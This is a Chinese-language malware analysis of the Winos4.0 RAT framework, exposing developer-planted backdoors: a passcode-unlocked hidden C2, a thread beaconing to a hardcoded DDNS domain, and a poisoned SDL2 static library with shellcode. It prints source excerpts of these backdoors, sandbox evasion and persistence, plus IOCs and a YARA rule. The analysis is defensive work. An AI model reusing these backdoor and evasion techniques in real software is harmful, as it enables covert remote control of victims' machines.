
本文基于 Winos4.0 RAT 框架源码与构建产物分析整理,面向安全研究、样本审计与威胁检测场景。文中代码片段仅作为证据摘录与防御分析使用,不提供可直接复用的完整后门实现。
在网络黑产生态中,远控木马、免杀工具、木马生成器等工具经常以“成品框架”的形式流通。
下游使用者以为自己拿到的是一套可控的攻击工具,可以配置自己的 C2、生成自己的木马、管理自己的受害者。但现实往往更加讽刺:他们也可能只是另一个更上游攻击者的“猎物”。
本次分析的 Winos4.0 RAT 框架,就是一个典型案例。
分析发现,该框架内部存在多层后门暗桩,覆盖:
SDL2_32_r.lib。也就是说,使用该框架生成木马的人,可能在攻击别人之前,已经先被框架开发者接管了。
Winos4.0 是一套完整的远程控制木马框架,包含控制端和被控端源码。其被控端功能模块较多,覆盖常见 RAT 能力,包括:
从功能完整度来看,它并不是一个简单样本,而是一套较成熟的远控框架。
但真正值得关注的,并不是它具备多少远控能力,而是框架内部埋藏的多层“暗桩”。
本次分析中发现了三类关键后门:
这三类后门分别位于不同层级:
层级 | 后门类型 | 隐蔽性 | 影响 |
|---|---|---|---|
构建层 | SDL2_32_r.lib 投毒 | 极高 | 编译时自动植入后门 |
源码层 | 隐藏第四 C2 | 高 | 生成木马后自动连接开发者 C2 |
模块层 | 硬编码 C2 域名 | 中 | 多个模块默认连接指定域名 |
这说明,后门并不是临时写入的测试代码,而是一套经过规划的多层控制体系。
控制端生成器中,正常逻辑支持用户配置多组 C2 地址。但代码中还存在一组独立的后门配置结构。
代码中出现了名为 InfoBackDoor 的结构体:
struct InfoBackDoor
{
char mark[30];
TCHAR szAddress_backdoor[255];
TCHAR szPort_backdoor[30];
TCHAR szPassword_backdoor[255];
BOOL IsTcp_backdoor;
} MyBackDoorInfo =
{
"mainsetting",
_T(""),
_T(""),
_T(""),
TRUE,
};这里有几个关键点:
InfoBackDoor 与正常主配置结构相互独立;backdoor;mark 字段值为 mainsetting;这说明它并不是普通备用配置,而是一套独立的隐藏 C2 参数。
生成器界面中存在第四组 C2 输入框,但默认不可见。只有输入特定暗号后,隐藏控件才会显示。
证据摘录如下:
if (Cs_tip.Compare(_T("5201314")) == 0)
{
GetDlgItem(IDC_EDIT_IP4)->ShowWindow(TRUE);
GetDlgItem(IDC_EDIT_PORT4)->ShowWindow(TRUE);
GetDlgItem(IDC_COMBO_NET4)->ShowWindow(TRUE);
GetDlgItem(IDC_EDIT_PASS4)->ShowWindow(TRUE);
m_edit_tip.SetWindowText(_T(""));
UpdateData(FALSE);
return;
}相关控件包括:
IDC_EDIT_IP4IDC_EDIT_PORT4IDC_COMBO_NET4IDC_EDIT_PASS4这些控件对应第四组 C2 的 IP、端口、协议和密码。
分析中发现两个版本的暗号不同:
版本 | 解锁暗号 |
|---|---|
根目录版本 | yugduo00 |
子目录版本 | 5201314 |
命中暗号后,程序直接 return,不执行正常生成流程。这种行为更像是隐藏管理入口,而不是普通配置功能。
在其中一个版本中,第四组 C2 默认指向外部 DDNS 域名:
m_edit_ip4 = _T("iamasbcx.asuscomm.com");
m_edit_port4 = _T("33333");
m_edit_password4 = _T("33333");
m_edit_dll = _T("run");另一个版本默认值为本地地址:
m_edit_ip4 = _T("127.0.0.1");
m_edit_port4 = _T("2022");
m_edit_password4 = _T("123456");
m_edit_dll = _T("Fuck");两个版本的差异很有意思:
iamasbcx.asuscomm.com:33333;33333。正常 C2 配置写入前会进行字符串反转,用于对抗简单静态字符串扫描。
例如:
_tcscpy_s(MyInfo.szAddress, (m_edit_ip.MakeReverse()).GetBuffer(0));
_tcscpy_s(MyInfo.szPort, (m_edit_port.MakeReverse()).GetBuffer(0));
_tcscpy_s(MyInfo.password, (m_edit_password.MakeReverse()).GetBuffer(0));这意味着正常 C2 地址在生成的 PE 中可能以反转形式存在。例如:
127.0.0.1 → 1.0.0.721但第四组后门配置没有进行同样处理,而是直接明文写入:
_tcscpy_s(MyBackDoorInfo.szAddress_backdoor, m_edit_ip4.GetBuffer(0));
_tcscpy_s(MyBackDoorInfo.szPort_backdoor, m_edit_port4.GetBuffer(0));
_tcscpy_s(MyBackDoorInfo.szPassword_backdoor, m_edit_password4.GetBuffer(0));这形成了一个明显差异:
从防御视角看,如果分析者只关注反转字符串,可能会漏掉这组明文后门配置。
生成器会在 PE 模板中搜索特定标记,并将主配置和后门配置写入最终样本。
关键代码证据如下:
DWORD dwOffset = memfind(str, "xiugaishiyong", len, 0);
DWORD dwOffset_back = memfind(str, "mainsetting", len, 0);
DWORD dwOffset_export = memfind(str, "zidingyixiugaidaochuhanshu", len, 0);
if (dwOffset_back != -1)
memcpy(str + dwOffset, (char*)&MyInfo, sizeof(Info));
if (dwOffset_back != -1)
memcpy(str + dwOffset_back, (char*)&MyBackDoorInfo, sizeof(InfoBackDoor));其中:
标记 | 含义 |
|---|---|
xiugaishiyong | 主配置标记 |
mainsetting | 后门配置标记 |
zidingyixiugaidaochuhanshu | 导出函数名修改标记 |
值得注意的是,第一处判断疑似存在 Bug:判断的是 dwOffset_back,但写入使用的是 dwOffset。
这也从侧面说明,mainsetting 在生成流程中非常关键。只要后门配置标记存在,主配置和后门配置都会被写入。
生成器写入后门配置后,被控端还需要实际使用这组配置。上线模块中存在一个独立线程:
MainThreadBackDoor证据摘录如下:
DWORD WINAPI MainThreadBackDoor()
{
while (TRUE)
{
if (MyBackDoorInfo.IsTcp_backdoor == 1)
socketClient = (CTcpSocket*)&m_TcpSocket;
else
socketClient = (CUdpSocket*)&m_UdpSocket;
Sleep(_ttoi(MyInfo.szHeart));
if (!socketClient->Connect(
MyBackDoorInfo.szAddress_backdoor,
_ttoi(MyBackDoorInfo.szPort_backdoor),
MyBackDoorInfo.szPassword_backdoor))
{
continue;
}
sendLoginInfo(socketClient, int(socketClient->timeOfSecond), Time, 1);
CKernelManager manager(socketClient,
MyBackDoorInfo.szAddress_backdoor,
_ttoi(MyBackDoorInfo.szPort_backdoor),
MyBackDoorInfo.IsTcp_backdoor,
MyBackDoorInfo.szPassword_backdoor,
TRUE);
}
}这个线程的特点非常明确:
MyBackDoorInfo 中的地址、端口和密码连接;CKernelManager 时最后一个参数为 TRUE,表示这是后门通道。也就是说,被控端不仅会连接用户配置的 C2,还会同时连接隐藏 C2。
更关键的是,被控端导出函数中会同时创建两个线程:
extern "C" __declspec(dllexport) bool load(Info * m_Info)
{
memcpy(&MyInfo, m_Info, sizeof(Info));
hThread = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)MainThread,
0, 0, 0);
CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)MainThreadBackDoor,
0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
return 0;
}这说明:
MainThread 负责连接用户配置的 C2;MainThreadBackDoor 负责连接隐藏 C2;这不是“误配置”,而是明确的双线程控制架构。
CKernelManager 中存在专门区分用户通道与后门通道的逻辑。
证据摘录如下:
TCHAR CKernelManager::m_strMasterHost_backdoor[MAX_PATH * 2] = { 0 };
UINT CKernelManager::m_nMasterPort_backdoor = 80;
TCHAR CKernelManager::m_strMasterPassWord_backdoor[MAX_PATH * 2] = { 0 };
BOOL CKernelManager::IsTcp_backdoor = TRUE;
if (m_IsBackDoor)
{
_tcscpy_s(m_strMasterHost_backdoor, lpszMasterHost);
_tcscpy_s(m_strMasterPassWord_backdoor, passwoed);
m_nMasterPort_backdoor = nMasterPort;
IsTcp_backdoor = m_IsTcp;
}
else
{
_tcscpy_s(m_strMasterHost_user, lpszMasterHost);
_tcscpy_s(m_strMasterPassWord__user, passwoed);
m_nMasterPort__user = nMasterPort;
IsTcp_user = m_IsTcp;
}这里显式维护了两套连接参数:
类型 | 参数前缀 |
|---|---|
用户通道 | user |
后门通道 | backdoor |
这进一步证明,该框架的控制通道并不是单一路径,而是有意设计了用户 C2 与开发者后门 C2 的区分。
除了隐藏第四 C2 外,多个功能模块中还硬编码了同一个域名:
iamasbcx.asuscomm.com典型配置如下:
struct Info
{
TCHAR szAddress[255];
DWORD szPort;
TCHAR password[255];
TCHAR szVersion[50];
BOOL IsTcp;
} MyInfo =
{
_T("iamasbcx.asuscomm.com"),
6000,
_T("123456"),
_T("1.0"),
1,
};受影响模块包括:
模块 | 域名 | 端口 | 密码 |
|---|---|---|---|
服务管理 | iamasbcx.asuscomm.com | 6000 | 123456 |
文件管理 | iamasbcx.asuscomm.com | 6000 | 123456 |
远程交谈 | iamasbcx.asuscomm.com | 6000 | 123456 |
隐藏第四 C2 | iamasbcx.asuscomm.com | 33333 | 33333 |
asuscomm.com 是 ASUS DDNS 动态域名服务。攻击者使用 DDNS 的好处是:
多个模块复用同一域名,说明这不是孤立配置,而是同一套基础设施的一部分。
SDL2_32_r.lib 供应链投毒相比源码中的后门线程和硬编码域名,更隐蔽的是第三方静态库投毒。
项目中存在一个异常的 SDL2_32_r.lib。
对比项 | 异常版本 | 正常版本 |
|---|---|---|
文件名 | SDL2_32_r.lib | SDL2_32_r.lib |
大小 | 约 9,126,628 字节 | 约 187,312 字节 |
倍率 | 约 48.7 倍 | 基准 |
正常 SDL2 x86 静态库通常不会达到 8.7MB。体积异常是供应链投毒的重要信号。
异常库中可检出以下符号或字符串:
CInitSockets_tcp
g_ShellCodeFileBuff
g_ShellCodeFileSize
help
LJPXYXC
SDL.obj其中:
CInitSockets_tcp 伪装成网络初始化相关逻辑;g_ShellCodeFileBuff 和 g_ShellCodeFileSize 指向 shellcode 缓冲区和大小;LJPXYXC 疑似互斥量名称;SDL.obj 伪装成正常 SDL 目标文件。异常库中还可见以下 API 特征:
VirtualAlloc
CreateMutexW
ExitProcess
TerminateProcess
GetCurrentProcess
_beginthreadex
WS2_32.dll这些 API 组合常见于:
该静态库投毒链路可以概括为:
Release 编译
↓
链接器自动链接异常 SDL2_32_r.lib
↓
恶意 SDL.obj 被带入最终程序
↓
程序启动后静态构造逻辑执行
↓
创建互斥量 LJPXYXC
↓
分配可执行内存
↓
释放并执行内存载荷
↓
建立额外回连通道这类后门最危险的地方在于:
即使源码中看不到恶意逻辑,只要构建时链接了被污染的静态库,最终生成的程序仍然可能携带后门。
这也是供应链攻击最难被普通代码审计发现的原因。
综合源码、构建文件和静态库分析,可以看到该框架至少存在多条控制路径:
被控端
├─ 主 C2 线程
│ ├─ IP1
│ ├─ IP2
│ └─ IP3
│
├─ 隐藏后门 C2 线程
│ └─ iamasbcx.asuscomm.com:33333
│
├─ 多个功能模块硬编码 C2
│ └─ iamasbcx.asuscomm.com:6000
│
└─ SDL2 静态库供应链后门
└─ 独立回连通道也就是说,被控端并不只连接“使用者”配置的 C2。
它还可能同时连接框架开发者预设的隐藏 C2,甚至通过被投毒的静态库建立更底层的回连通道。
这正是“黑吃黑”的核心逻辑:
下游攻击者以为自己在控制受害机器,实际上框架开发者也在控制这些机器,甚至可能控制下游攻击者本身。
除了后门暗桩,该框架还集成了多种常见对抗技术。
前三组 C2 地址、端口和密码会以反转形式存储,运行时再恢复。
这种方式虽然简单,但可以绕过一部分基于明文字符串的检测。
上线模块中存在反沙箱检测逻辑:
if (MyInfo.IsAntiSimulation && AntiSimulation())
{
do
{
socketClient->Connect(_T("www.baidu.com"), 80, _T(""));
Sleep(5000);
} while (true);
}命中模拟环境后,程序会反复连接 www.baidu.com,避免暴露真实 C2 行为。
框架大量使用动态加载方式调用系统 API,例如:
ADVAPI32.dllwininet.dllShell32.dll这可以减少导入表中的敏感 API 暴露,增加静态分析难度。
程序支持通过启动文件夹和注册表 Run 键实现持久化。
典型注册表路径:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run常见伪装文件名:
GFIRestart32.exe
GFIRestart64.exeIOC | 说明 |
|---|---|
iamasbcx.asuscomm.com | 后门 C2 / 硬编码 DDNS 域名 |
www.baidu.com | 反沙箱探针连接目标 |
端口 | 说明 |
|---|---|
33333 | 隐藏第四 C2 默认端口 |
6000 | 多个模块硬编码端口 |
11111/UDP | SDL2 供应链后门疑似回连端口 |
2022 | 另一个版本后门默认端口 |
6666 / 8888 / 80 | 主 C2 常见默认端口 |
InfoBackDoor
MainThreadBackDoor
MyBackDoorInfo
mainsetting
xiugaishiyong
zidingyixiugaidaochuhanshu
iamasbcx.asuscomm.com
LJPXYXC
CInitSockets_tcp
g_ShellCodeFileBuff
g_ShellCodeFileSize
GFIRestart32.exe
GFIRestart64.exe
SDL2_32_r.lib值 | 用途 |
|---|---|
5201314 | 解锁隐藏第四 C2 UI |
yugduo00 | 另一版本解锁暗号 |
123456 | 默认通信密码 |
33333 | 后门通信密码 / 默认端口 |
以下规则可用于识别 Winos4.0 后门暗桩相关源码、二进制或构建产物特征。
rule Winos4_Backdoor_Artifacts
{
meta:
description = "Detects Winos4.0 backdoor artifacts and suspicious embedded indicators"
author = "Security Research"
purpose = "defensive detection"
strings:
$s1 = "InfoBackDoor" ascii wide
$s2 = "MainThreadBackDoor" ascii wide
$s3 = "MyBackDoorInfo" ascii wide
$s4 = "mainsetting" ascii wide
$s5 = "iamasbcx.asuscomm.com" ascii wide
$s6 = "LJPXYXC" ascii wide
$s7 = "CInitSockets_tcp" ascii wide
$s8 = "g_ShellCodeFileBuff" ascii wide
$s9 = "GFIRestart32.exe" ascii wide
$s10 = "GFIRestart64.exe" ascii wide
$s11 = "zidingyixiugaidaochuhanshu" ascii wide
$s12 = "xiugaishiyong" ascii wide
condition:
3 of them
}供应链后门往往不出现在业务源码中,而隐藏在:
因此,安全审计不能只看源码,还应覆盖完整构建链路。
重点关注:
.lib.a.obj.dll.so如果某个库体积明显大于官方版本,应优先排查是否混入了异常目标文件。
可重点搜索:
CInitSockets_tcp
g_ShellCodeFileBuff
g_ShellCodeFileSize
LJPXYXC
mainsetting
iamasbcx.asuscomm.com
MainThreadBackDoor
InfoBackDoor重点关注连接:
iamasbcx.asuscomm.com以及端口:
33333
6000
11111/UDP重点排查:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run是否存在伪装为:
GFIRestart32.exe
GFIRestart64.exe的可疑启动项。
这份源码的价值,不仅在于它是一套 RAT 框架,更在于它揭示了黑产工具链中的信任陷阱。
对于普通下游使用者而言,他们以为自己获得的是一套“可控工具”:
但实际情况可能是:
这就是“工具即陷阱”的攻击模式。
Winos4.0 的案例再次说明:黑产工具链本身并不可信。
越是成熟、功能越完整、传播越广泛的地下工具,越可能成为上游攻击者收割下游使用者的渠道。
这类“黑吃黑”架构具有几个典型特征:
其中,SDL2_32_r.lib 投毒尤其值得关注。它说明攻击者已经不满足于在业务代码中插入后门,而是将后门下沉到了构建和链接阶段。
对于安全研究人员而言,这类样本提醒我们:
不要只看源码,也要看依赖;不要只看显式逻辑,也要看构建链路;不要只分析样本行为,也要分析样本是如何被生成的。
在黑产生态中,信任从来都是最稀缺的东西。
而所谓“免费的远控框架”,往往早已标好了价格。